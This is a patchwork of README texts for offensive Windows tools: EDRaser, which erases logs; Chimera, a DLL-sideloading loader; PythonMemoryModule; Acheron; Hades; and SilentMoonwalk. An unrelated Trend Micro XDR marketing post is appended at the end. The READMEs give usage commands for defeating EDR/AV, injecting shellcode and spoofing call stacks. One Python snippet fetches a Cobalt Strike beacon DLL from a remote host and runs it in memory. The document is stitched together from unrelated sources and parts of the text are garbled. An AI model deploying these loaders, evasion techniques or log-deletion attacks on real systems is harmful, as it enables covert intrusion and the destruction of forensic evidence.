In manual mode, you can select specific attacks to launch against a targeted system, giving you greater control. Note that some attacks, such as VMX deletion, are for local machine only.
To use EDRaser in manual mode, you can use the following syntax:
python edraser.py --ip <ip_addr> --attack <attack_name> [--sigfile <signature file>]
Arguments:
--ip: scan IP addresses in the specified range and attack vulnerable systems (default: localhost).--sigfile: use the specified encrypted signature DB (default: signatures.db).--attack: attack to be executed. The following attacks are available: ['vmx', 'vmdk', 'windows_security_event_log_remote', 'windows_application_event_log_local', 'syslog', 'access_logs', 'remote_db', 'local_db', 'remote_db_webserver']Optional arguments:
port : port of remote machinedb_username: the username of the remote DB.db_password: the password of the remote DB.db_type: type of the DB, EDRaser supports mysql, sqlite. (# Note that for sqlite, no username\password is needed)db_name: the name of remote DB to be connected totable_name: the name of remote table to be connected torpc_tools: path to the VMware rpc_toolsExample:
python edraser.py --attack windows_event_log --ip 192.168.1.133
python EDRaser.py -attack remote_db -db_type mysql -db_username test_user -db_password test_password -ip 192.168.1.10
You can bring up a web interface for inserting and viewing a remote DB. it can be done by the following command: EDRaser.py -attack remote_db_webserver -db_type mysql -db_username test_user -db_password test_password -ip 192.168.1.10
This will bring up a web server on the localhost:8080 address, it will allow you to view & insert data to a remote given DB. This feature is designed to give an example of a "Real world" scenario where you have a website that you enter data into it and it keeps in inside a remote DB, You can use this feature to manually insert data into a remote DB.
In manual mode, EDRaser displays a list of available attacks. Here's a brief description of each attack:
While DLL sideloading can be used for legitimate purposes, such as loading necessary libraries for a program to function, it can also be used for malicious purposes. Attackers can use DLL sideloading to execute arbitrary code on a target system, often by exploiting vulnerabilities in legitimate applications that are used to load DLLs.
To automate the DLL sideloading process and make it more effective, Chimera was created a tool that include evasion methodologies to bypass EDR/AV products. These tool can automatically encrypt a shellcode via XOR with a random key and create template Images that can be imported into Visual Studio to create a malicious DLL.
Also Dynamic Syscalls from SysWhispers2 is used and a modified assembly version to evade the pattern that the EDR search for, Random nop sleds are added and also registers are moved. Furthermore Early Bird Injection is also used to inject the shellcode in another process which the user can specify with Sandbox Evasion mechanisms like HardDisk check & if the process is being debugged. Finally Timing attack is placed in the loader which using waitable timers to delay the execution of the shellcode.
This tool has been tested and shown to be effective at bypassing EDR/AV products and executing arbitrary code on a target system.
Chimera is written in python3 and there is no need to install any extra dependencies.
Chimera currently supports two DLL options either Microsoft teams or Microsoft OneDrive.
Someone can create userenv.dll which is a missing DLL from Microsoft Teams and insert it to the specific folder to
%USERPROFILE%/Appdata/local/Microsoft/Teams/current
For Microsoft OneDrive the script uses version DLL which is common because its missing from the binary example onedriveupdater.exe
python3 ./chimera.py met.bin chimera_automation notepad.exe teams
python3 ./chimera.py met.bin chimera_automation notepad.exe onedrive
Once the compilation process is complete, a DLL will be generated, which should include either "version.dll" for OneDrive or "userenv.dll" for Microsoft Teams. Next, it is necessary to rename the original DLLs.
For instance, the original "userenv.dll" should be renamed as "tmpB0F7.dll," while the original "version.dll" should be renamed as "tmp44BC.dll." Additionally, you have the option to modify the name of the proxy DLL as desired by altering the source code of the DLL exports instead of using the default script names.
Step 1: Creating a New Visual Studio Project with DLL Template
Step 2: Importing Images into the Visual Studio Project
Step 3: Build Customization
Step 4: Enable MASM
Step 5:
Step 1: Change optimization
Step 2: Remove Debug Information's
To the maximum extent permitted by applicable law, myself(George Sotiriadis) and/or affiliates who have submitted content to my repo, shall not be liable for any indirect, incidental, special, consequential or punitive damages, or any loss of profits or revenue, whether incurred directly or indirectly, or any loss of data, use, goodwill, or other intangible losses, resulting from (i) your access to this resource and/or inability to access this resource; (ii) any conduct or content of any third party referenced by this resource, including without limitation, any defamatory, offensive or illegal conduct or other users or third parties; (iii) any content obtained from this resource
https://evasions.checkpoint.com/
https://github.com/Flangvik/SharpDllProxy
https://github.com/jthuraisamy/SysWhispers2
https://github.com/Mr-Un1k0d3r
"Python memory module" AI generated pic - hotpot.ai
pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory
PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim Bauch. It can load a dll or unmanaged exe using Python without requiring the use of an external library (pyd). It leverages pefile to parse PE headers and ctypes.
The tool was originally thought to be used as a Pyramid module to provide evasion against AV/EDR by loading dll/exe payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.
In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.
Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.
Acheron is a library inspired by SysWhisper3/FreshyCalls/RecycledGate, with most of the functionality implemented in Go assembly.
acheron package can be used to add indirect syscall capabilities to your Golang tradecraft, to bypass AV/EDRs that makes use of usermode hooks and instrumentation callbacks to detect anomalous syscalls that don't return to ntdll.dll, when the call transition back from kernel->userland.
The following steps are performed when creating a new syscall proxy instance:
Zw* functionsyscall;ret gadgets in ntdll.dll, to be used as trampolinesIntegrating acheron into your offsec tools is pretty easy. You can install the package with:
go get -u github.com/f1zm0/acheronThen just need to call acheron.New() to create a syscall proxy instance and use acheron.Syscall() to make an indirect syscall for Nt* APIs.
Minimal example:
package main
import (
"fmt"
"unsafe"
"github.com/f1zm0/acheron"
)
func main() {
var (
baseAddr uintptr
hSelf = uintptr(0xffffffffffffffff)
)
// creates Acheron instance, resolves SSNs, collects clean trampolines in ntdll.dlll, etc.
ach, err := acheron.New()
if err != nil {
panic(err)
}
// indirect syscall for NtAllocateVirtualMemory
s1 := ach.HashString("NtAllocateVirtualMemory")
if retcode, err := ach.Syscall(
s1, // function name hash
hSelf, // arg1: _In_ HANDLE ProcessHandle,
uintptr(unsafe.Pointer(&baseAddr)), // arg2: _Inout_ PVOID *BaseAddress,
uintptr(unsafe.Pointer(nil)), // arg3: _In_ ULONG_PTR ZeroBits,
0x1000, // arg4: _Inout_ PSIZE_T RegionSize,
windows.MEM_COMMIT|windows.MEM_RESERVE, // arg5: _In_ ULONG AllocationType,
windows.PAGE_EXECUTE_READWRITE, // arg6: _In_ ULONG Protect
); err != nil {
panic(err)
}
fmt.Printf(
"allocated memory with NtAllocateVirtualMemory (status: 0x%x)\n",
retcode,
)
// ...
}The following examples are included in the repository:
| Example | Description |
|---|---|
| sc_inject | Extremely simple process injection PoC, with support for both direct and indirect syscalls |
| process_snapshot | Using indirect syscalls to take process snapshots with syscalls |
| custom_hashfunc | Example of custom encoding/hashing function that can be used with acheron |
Other projects that use acheron:
Contributions are welcome! Below are some of the things that it would be nice to have in the future:
If you have any suggestions or ideas, feel free to open an issue or a PR.
The name is a reference to the Acheron river in Greek mythology, which is the river where souls of the dead are carried to the underworld.
Note
This project uses semantic versioning. Minor and patch releases should not break compatibility with previous versions. Major releases will only be used for major changes that break compatibility with previous versions.
Warning
This project has been created for educational purposes only. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper usage of the library.
This project is licensed under the MIT License - see the LICENSE file for details
Hades is a proof of concept loader that combines several evasion technques with the aim of bypassing the defensive mechanisms commonly used by modern AV/EDRs.
The easiest way, is probably building the project on Linux using make.
git clone https://github.com/f1zm0/hades && cd hades
makeThen you can bring the executable to a x64 Windows host and run it with .\hades.exe [options].
PS > .\hades.exe -h
'||' '||' | '||''|. '||''''| .|'''.|
|| || ||| || || || . ||.. '
||''''|| | || || || ||''| ''|||.
|| || .''''|. || || || . '||
.||. .||. .|. .||. .||...|' .||.....| |'....|'
version: dev [11/01/23] :: @f1zm0
Usage:
hades -f <filepath> [-t selfthread|remotethread|queueuserapc]
Options:
-f, --file <str> shellcode file path (.bin)
-t, --technique <str> injection technique [selfthread, remotethread, queueuserapc]
Inject shellcode that spawms calc.exe with queueuserapc technique:
.\hades.exe -f calc.bin -t queueuserapc
User-mode hooking bypass with syscall RVA sorting (NtQueueApcThread hooked with frida-trace and custom handler)
Instrumentation callback bypass with indirect syscalls (injected DLL is from syscall-detect by jackullrich)
In the latest release, direct syscall capabilities have been replaced by indirect syscalls provided by acheron. If for some reason you want to use the previous version of the loader that used direct syscalls, you need to explicitly pass the direct_syscalls tag to the compiler, which will figure out what files needs to be included and excluded from the build.
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -tags='direct_syscalls' -o dist/hades_directsys.exe cmd/hades/main.go
Warning
This project has been created for educational purposes only, to experiment with malware dev in Go, and learn more about the unsafe package and the weird Go Assembly syntax. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper use of this tool.
Shoutout to the following people that shared their knowledge and code that inspired this tool:
This project is licensed under the GPLv3 License - see the LICENSE file for details
PoC Implementation of a fully dynamic call stack spoofer
SilentMoonwalk is a PoC implementation of a fully dynamic call stack spoofer, implementing a technique to remove the original caller from the call stack, using ROP to desynchronize unwinding from control flow.
This PoC is the result of a joint research done on the topic of stack spoofing. The authors of the research are:
I want to stress that this work would have been impossible without the work of Waldo-IRC and Trickster0, which both contributed to the early stages of the PoC, and to the research behind the PoC.
This repository demonstrates a PoC implementation to spoof the call stack when calling arbitrary Windows APIs.
This attempt was inspired by this Twitter thread, and this Twitter thread, where sensei namazso showed and suggested to extend the stack unwinding approach with a ROP chain to both desynchronize the unwinding from real control flow and restore the original stack afterwards.
This PoC attempts to do something similar to the above, and uses a desync stack to completely hide the original call stack, also removing the EXE image base from it. Upon return, a ROP gadget is invoked to restore the original stack. In the code, this process is repeated 10 times in a loop, using different frames at each iteration, to prove stability.
The tool currently supports 2 modes, where one is actually a wrong patch to a non-working pop RBP frame identified, which operates by shifting the current RSP and adding two fake frames to the call stack. As it operates using synthetic frames, I refer to this mode as "SYNTHETIC".
When selecting the frame that unwinds by popping the RBP register from the stack, the tool might select an unsuitable frame, ending up in an abruptly cut call stack, as observable below.
A silly solution to the problem would be to create two fake frames and link them back to the cut call stack. This would create a sort of apparently legit call stack, even without a suitable frame which unwinds calling POP RBP, but:
The result of the _synthetic spoof can be observed in the image below:
Figure 1: Windows 10 - Apparently Legit, non unwoundable call stack whereby the EXE module was completely removed (calling no parameters function getchar)
Note: This operation mode is disabled by default. To enable this mode, change the CALLSTACK_TYPE to 1
This mode is the right solution to the above problem, whereby the non-suitable frame is simply replaced by another, suitable one.
Figure 2: Windows 10 - Legit, unwoundable call stack whereby the EXE module was completely removed (calling 4 parameters function MessageBoxA)
In the repository, you can find also a little util to inspect runtime functions, which might be useful to analyse runtime function entries.
UnwindInspector.exe -h
Unwind Inspector v0.100000
Mandatory args:
-m <module>: Target DLL
-f <function>: Target Function
-a <function-address>: Target Function Address
Sample Output:
UnwindInspector.exe -m kernelbase -a 0x7FFAAE12182C
[*] Using function address 0x7ffaae12182c
Runtime Function (0x000000000000182C, 0x00000000000019ED)
Unwind Info Address: 0x000000000026AA88
Version: 0
Ver + Flags: 00000000
SizeOfProlog: 0x1f
CountOfCodes: 0xc
FrameRegister: 0x0
FrameOffset: 0x0
UnwindCodes:
[00h] Frame: 0x741f - 0x04 - UWOP_SAVE_NONVOL (RDI, 0x001f)
[01h] Frame: 0x0015 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0015)
[02h] Frame: 0x641f - 0x04 - UWOP_SAVE_NONVOL (RSI, 0x001f)
[03h] Frame: 0x0014 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0014)
[04h] Frame: 0x341f - 0x04 - UWOP_SAVE_NONVOL (RBX, 0x001f)
[05h] Frame: 0x0012 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0012)
[06h] Frame: 0xb21f - 0x02 - UWOP_ALLOC_SMALL (R11, 0x001f)
[07h] Frame: 0xf018 - 0x00 - UWOP_PUSH_NONVOL (R15, 0x0018)
[0 8h] Frame: 0xe016 - 0x00 - UWOP_PUSH_NONVOL (R14, 0x0016)
[09h] Frame: 0xd014 - 0x00 - UWOP_PUSH_NONVOL (R13, 0x0014)
[0ah] Frame: 0xc012 - 0x00 - UWOP_PUSH_NONVOL (R12, 0x0012)
[0bh] Frame: 0x5010 - 0x00 - UWOP_PUSH_NONVOL (RBP, 0x0010)
In order to build the POC and observe a similar behaviour to the one in the picture, ensure to:
/GS-)/Od)/GL)/Os, /Ot)/Oi)It's worth mentioning previous work done on this topic, which built the foundation of this work.
Over the past three decades, we’ve had time at Trend Micro to observe the industry trends that have the biggest impact on our customers. And one of the big things we’ve seen is that threats move largely in tandem with changes to IT infrastructure. This matters today because most organizations are transforming the way they run and manage their infrastructure—a daunting task on its own.
But with digital transformation also comes an expanded corporate attack surface, driving security leaders to demand enhanced visibility, detection & response across the entire enterprise — this is not just about the endpoint.
Transforming business
Over the past five years, there has been a major shift in the way IT infrastructure is delivered, and with that shift, increasing complexity. A big part of this change has been the use of the cloud, reflected in Gartner’s prediction that the market will grow to over $266 billion in 2020. Organizations everywhere are leveraging the cloud and DevOps to rapidly deliver new and differentiated applications and services for their customers, partners and employees. And the use of containers and microservices across a multi-cloud and hybrid environment is increasingly common.
In addition to leveraging public cloud services like IaaS, organizations are also rapidly adopting SaaS applications like Office 365, and expanding their use of mobile and collaborative applications to support remote working. Some are even arguing that working patterns may never be the same again, following the changes forced on many employers by the Covid-19 pandemic.
Combine these changes with networks that continue to extend to include branch offices and add new areas to protect like operational technology including industrial systems, and we can certainly see that the challenges facing the modern enterprise look nothing like they did a few years ago.
Under fire, under pressure
All of these infrastructure changes make for a broader attack surface that the bad guys can take advantage of, and they’re doing so with an increasingly wide range of tools and techniques. In the cloud there is a new class of vulnerabilities introduced through a greater use of open source, containers, orchestration platforms, supply chain applications and more. For all organizations, the majority of threats still prey upon the user, arriving via email (over 90% of the 52.3 billion we blocked in 2019), and they’re no longer just basic phishing attempts. There’s been an uptick in fileless events designed to bypass traditional security filters (we blocked 1.4 million last year). And Business Email Compromise (BEC) and ransomware continue to evolve, the latter causing major outages across local government, healthcare and other vulnerable sectors.
Organizations are often left flat-footed because they don’t have the in-house skills to secure a rapidly evolving IT environment. Mistakes get made, and configuration errors can allow the hackers to sneak in.
Against this backdrop, CISOs need visibility, detection and response capabilities across the extended enterprise. But in too many cases, teams are struggling because they have:
|
|
Beyond the endpoint
While endpoint detection and response (EDR) has become a popular response to some of these problems over recent years, the reality is that cyber-attacks are rarely straightforward and limited to the endpoint (as noted in the email statistic above). Security teams actually need visibility, detection, and response across the entire IT environment, so they can better contextualize and deal with threats.
This is what Trend Micro XDR offers. It provides visibility across not just endpoints but also email, servers, cloud workloads and networks, applying AI and expert security analytics to correlate and identify potential threats. The result is fewer, higher fidelity alerts for stretched IT security teams to deal with. Recognizing the skills shortage reality, we also offer a managed XDR service that augments in-house SOC activities with the power of Trend Micro security experts.
Detection and response is too important to be limited to the endpoint. Today’s CISOs need visibility, detection, and response everywhere.
The post Why CISOs Are Demanding Detection and Response Everywhere appeared first on .
